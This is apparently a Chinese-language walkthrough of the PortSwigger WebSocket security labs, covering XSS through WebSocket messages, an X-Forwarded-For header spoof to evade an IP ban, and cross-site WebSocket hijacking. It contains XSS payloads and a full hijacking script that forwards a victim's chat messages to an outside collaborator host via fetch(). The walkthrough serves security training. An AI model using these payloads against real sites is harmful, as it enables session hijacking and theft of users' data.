文章目录
- 一、WebSockets
- 二、Lab: Manipulating WebSocket messages to exploit vulnerabilities
- 三、Lab: Manipulating the WebSocket handshake to exploit vulnerabilities
- 四、Using cross-site WebSockets to exploit vulnerabilities
- 4.1 跨站WebSocket劫持(cross-site WebSocket hijacking)
- 4.2 实施跨站WebSocket劫持攻击
- 4.3 Lab: Cross-site WebSocket hijacking
一、WebSockets
WebSockets 是一种强大的实时通信协议,适合需要低延迟和高频率数据交换的场景。WebSockets通过HTTP发起,并在两个方向上提供具有异步通信的长期连接。WebSockets用于各种目的,包括执行用户操作和传输敏感信息。实际上,常规HTTP中出现的任何Web安全漏洞也可能与WebSockets通信有关。WebSockets弥补了 HTTP 在实时性方面的不足,广泛应用于聊天、游戏、实时数据推送等领域。
例如,假设聊天应用程序使用WebSockets在浏览器和服务器之间发送聊天消息。当用户键入聊天消息时,将向服务器发送如下所示的WebSocket消息:
{"message":"Hello Carlos"}
消息的内容被传输(再次通过WebSockets)到另一个聊天用户,并在用户的浏览器中呈现如下:
<td>Hello Carlos</td>
在这种情况下,如果没有其他输入处理或防御,攻击者可以通过提交以下WebSocket消息来执行XSS攻击:
{"message":"<img src=1 onerror='alert(1)'>"}
二、Lab: Manipulating WebSocket messages to exploit vulnerabilities
实时聊天一般使用websokets,客户端向服务端发送hello
字符串,服务端会将hello
字符返回。这里可以方式XSS。
在聊天框中输入<img src=1 onerror='alert(1)'>
,可以看到客户端对<、>
进行了html编码。
拦截修改一下就行了
三、Lab: Manipulating the WebSocket handshake to exploit vulnerabilities
某些WebSocket漏洞只能通过操纵WebSocket握手来发现和利用。这些漏洞往往涉及设计缺陷,例如:
- 错误地信任HTTP标头来执行安全决策,例如X-Forwarded-For标头。
- 会话处理机制中的缺陷,因为处理WebSocket消息的会话上下文通常由握手消息的会话上下文确定。
- 由应用程序使用的自定义HTTP标头引入的攻击面。
同样进入live chat
,按照上一个实验的思路重发<img src=1 onerror='alert(1)'>
,可以看到,websockets连接立刻被中断。
重新连接会发现IP被ban了。
在websockets握手阶段添加X-Forwarded-For
字段来掩盖源IP,并重新发送payload。
X-Forwarded-For
:用于标识客户端的原始 IP 地址
<img src=1 oNeRrOr=alert`1`>
四、Using cross-site WebSockets to exploit vulnerabilities
当攻击者从其控制的网站建立跨域WebSocket连接时,会出现一些WebSocket安全漏洞。这被称为跨站点WebSocket劫持攻击,它涉及利用WebSocket握手上的跨站点请求伪造(CSRF)漏洞。这种攻击通常会产生严重的影响,允许攻击者代表受害用户执行特权操作,或捕获受害用户可以访问的敏感数据。
4.1 跨站WebSocket劫持(cross-site WebSocket hijacking)
跨站WebSocket劫持(Cross-site WebSocket hijacking,也称为跨源WebSocket劫持,cross-origin WebSocket hijacking)涉及WebSocket握手上的跨站点请求伪造(CSRF)漏洞。当WebSocket握手请求仅依赖于HTTP cookie进行会话处理并且不包含任何CSRF令牌或其他不可预测的值时,就会出现这种情况。
攻击者可以在自己的域中创建恶意网页,并与存在漏洞的应用程序的站点建立WebSocket连接。当受害者用户访问攻击者创建的恶意网页时,应用程序会把这个来自恶意网页的 WebSocket 连接当作是受害者用户正常发起的连接来处理。这是因为在用户已经登录应用程序的情况下,浏览器会自动携带用户的会话信息(如会话 cookie),应用程序会根据这些会话信息来识别用户身份,所以会错误地认为这是合法用户的请求。
然后,攻击者的页面可以通过连接向服务器发送任意消息,并读取从服务器接收回的消息的内容。这意味着,与常规CSRF不同,攻击者可以获得与受损应用程序的双向交互。
4.2 实施跨站WebSocket劫持攻击
跨站WebSocket劫持攻击本质上是WebSocket握手上的CSRF漏洞,因此执行攻击的第一步是查看应用程序执行的WebSocket握手,并确定它们是否受到CSRF保护。
就一般CSRF攻击而言,需要找到一个握手消息,该消息仅依赖于HTTP cookie进行会话处理,并且在请求参数中不使用任何令牌或其他不可预测的值。
例如,下面的WebSocket握手请求可能容易受到CSRF的攻击,因为cookie中仅有session:
GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket
Sec-WebSocket-Key
标头包含一个随机值,以防止缓存代理出错,并不用于身份验证或会话处理目的。
4.3 Lab: Cross-site WebSocket hijacking
打开聊天界面
websocket握手时,cookie中仅包含session,故存在CSRF漏洞。怎么判断是websocket握手包,返回包中Connection: Upgrade
说明客户端希望将当前的 HTTP 连接升级为其他协议,Upgrade: websocket
则说明其他协议就是websocket协议。
Go to exploit server
<script>
var ws = new WebSocket('wss://0a00000204fe9c6480444952004400ef.web-security-academy.net/chat');
ws.onopen = function() {
ws.send("READY");
};
ws.onmessage = function(event) {
// 向指定服务器发送websocket信息
fetch('https://7w4hxmft1fa13xxv8e0xv9ruvl1cpadz.oastify.com', {method: 'POST', mode: 'no-cors', body: event.data});
};
console.log(even.data)
</script>
这段 JavaScript 代码主要实现了与 WebSocket 服务器建立连接,在连接成功后发送 “READY” 消息,并将从 WebSocket 服务器接收到的消息通过 fetch API 发送到指定的外部服务器。
点击view exploit
可以读取聊天记录
点击Deliver_expolit_to_victim
即可拿到carlos的密码。
跨域WebSocket劫持的本质:攻击者通过websocket协议与用户建立连接,用户与聊天服务器通过websocket进行连接,上述攻击脚本将用户接受到的websocket信息转发给攻击者。